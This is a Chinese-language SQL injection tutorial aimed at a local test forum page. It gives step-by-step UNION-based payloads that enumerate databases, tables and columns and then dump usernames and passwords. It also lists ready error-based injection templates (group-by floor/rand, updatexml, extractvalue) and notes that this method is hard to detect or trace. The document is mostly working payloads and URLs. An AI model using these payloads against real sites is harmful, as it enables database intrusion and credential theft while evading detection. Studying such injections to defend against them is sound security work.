一、union注入实操缺点UNION 可能会被系统限制使用和数据报警可以回溯。不太安全操作流程1、判断注入点2、使用 order by查询回显列数进行填补自己需要信息3、判断回显位置4、获取数据库名字5、获取数据库所有表利用数据库名字6、获取数据库表对应所有字段7、利用字段查询数据1、判断是否存在注入点http://127.0.0.1/bbs/bbs/showmessage.php?id1http://127.0.0.1/bbs/bbs/showmessage.php?id2http://127.0.0.1/bbs/bbs/showmessage.php?idahsdkhaskdh以上案列发现网站存在注入点。2、使用order by 查询回显列数数据库查询语句select * from message where id 1 union order by 5http://127.0.0.1/bbs/bbs/showmessage.php?id1 order by 4http://127.0.0.1/bbs/bbs/showmessage.php?id1 order by 5由此 可以判断 4列。3、判断显示位置数据库查询语句select * from messages where id-1 union select 1,2,3,4备注可以看到1234能回显因此在234处位置 写注入语句其中 id -1 是让正确语句不要干扰注入语句导致后面union后语句无法显示网站连接http://127.0.0.1/bbs/bbs/showmessage.php?id-1 union select 1,2,3,44、获取数据库名字第一步获取数据库名字数据库语句select * from messages where id-1 union select 1,2,3,database连接http://127.0.0.1/bbs/bbs/showmessage.php?id-1 UNION SELECT 1,2,3,DATABASE()第二步获取所有数据库名数据库语句select * from messages where id-1 union select 1,2,version(),(select group_concat(schema_name) from information_schema.schemata)备注跟前面一样组装起来用连接http://127.0.0.1/bbs/bbs/showmessage.php?id-1 UNION SELECT 1,2,3,(select group_concat(schema_name) from information_schema.schemata)5获取数据库所有表数据库语句select * from messages where id-1 union select 1,2,version(), group_concat(table_name) from information_schema.tables where table_schemajrlt备注搜索‘jrlt’所有表连接http://127.0.0.1/bbs/bbs/showmessage.php?id-1 union select 1,2,version(), group_concat(table_name) from information_schema.tables where table_schemajrlt6获取数据库表对应所有字段数据库语句SELECT * from messages where id-1 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_nameusersand table_schemajrlt备注获取‘jrlt’里面所有字段连接http://127.0.0.1/bbs/bbs/showmessage.php?id-1 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_nameusersand table_schemajrlt7获取字段数据数据库语句select * from messages where id-5 union select 1,2,3,concat(name,:,password) from users limit 0,1备注获取 name 和 password 字段信息打印第一条。链接http://127.0.0.1/bbs/bbs/showmessage.php?id-5 union select 1,2,3,concat(name,:,password) from users limit 0,1二、采用报错型注入备注利用网站报错信息得到相应数据一般UNION限制使用时候才使用 ‘报错型注入’。固定格式模板group by or (select 1 from (select count(*), concat(0x5e,(查询语句), 0x5e, floor(rand(0)*2)) x from information_schema.tables group by x) a) or updatexml or updatexml(1, concat(0x5e, (查询语句), 0x5e), 1) or extractvalue or extractvalue(1, concat(0x5c, (查询语句), 0x5c)) or 常用方法一group by 重复键冲突--查看数据库 版本号select * from messages where id1 and (select 1 from (select count(*),concat(0x5e,(selectversion()from information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a)备注1id 1 是因为后面是采用andand 特性 是两边都必须是真。2红色部分都是固定格式不需要修改3蓝色标注位置是想查的东西可以修改。version是查版本号样式连接http://127.0.0.1/bbs/bbs/showmessage.php?id1 and (select 1 from (select count(*),concat(0x5e,(select version() from information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a)--查看数据库 库名select * from messages where id1 and (select 1 from (select count(*),concat(0x5e,(selectDATABASE()from information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a)备注蓝色标注位置是想查的东西database查数据库名字。连接http://127.0.0.1/bbs/bbs/showmessage.php?id1 and (select 1 from (select count(*),concat(0x5e,(select DATABASE() from information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a)常用方法二Xpath查看版本号select * from messages where id1 and updatexml(1,concat(0x5e,(select version()),0x5e),1)链接http://127.0.0.1/bbs/bbs/showmessage.php?id1 and updatexml(1,concat(0x5e,(selectversion()),0x5e),1)查看数据库select * from messages where id1 and updatexml(1,concat(0x5e,(select database()),0x5e),1)链接http://127.0.0.1/bbs/bbs/showmessage.php?id1 and updatexml(1,concat(0x5e,(select database()),0x5e),1)常用方法三updatexml报错型注⼊查看版本号select * from messages where id1 and updatexml(1,concat(0x5e,(select version()),0x5e),1)链接http://127.0.0.1/bbs/bbs/showmessage.php?id1 and updatexml(1,concat(0x5e,(select version()),0x5e),1)查看数据库select * from messages where id1 and updatexml(1,concat(0x5e,(select database()),0x5e),1)链接http://127.0.0.1/bbs/bbs/showmessage.php?id1 and updatexml(1,concat(0x5e,(select database()),0x5e),1)三、报错型注入实战使数据库报错不容易检测到难以回溯操作流程1、获取数据库名2、获取表名3、获取字段名4、获取数据1、获取数据库名用法在留言内容编辑语法or (select 1 from (select count(*),concat(0x5e,(select database() from information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a) or备注固定格式 无须调整。2、获取表名语法 or extractvalue(1, concat(0x5c, (select group_concat(table_name) from information_schema.tables where table_schemajrlt),0x5c)) or 备注extractvalue 是报错函数。3、获取字段名语法 or updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_nameusers and table_schemajrlt),0x5e),1) or 4、获取数据语法 or updatexml(1,concat(0x5e,(select concat(name,:,password) from users limit 0,1),0x5e),1) or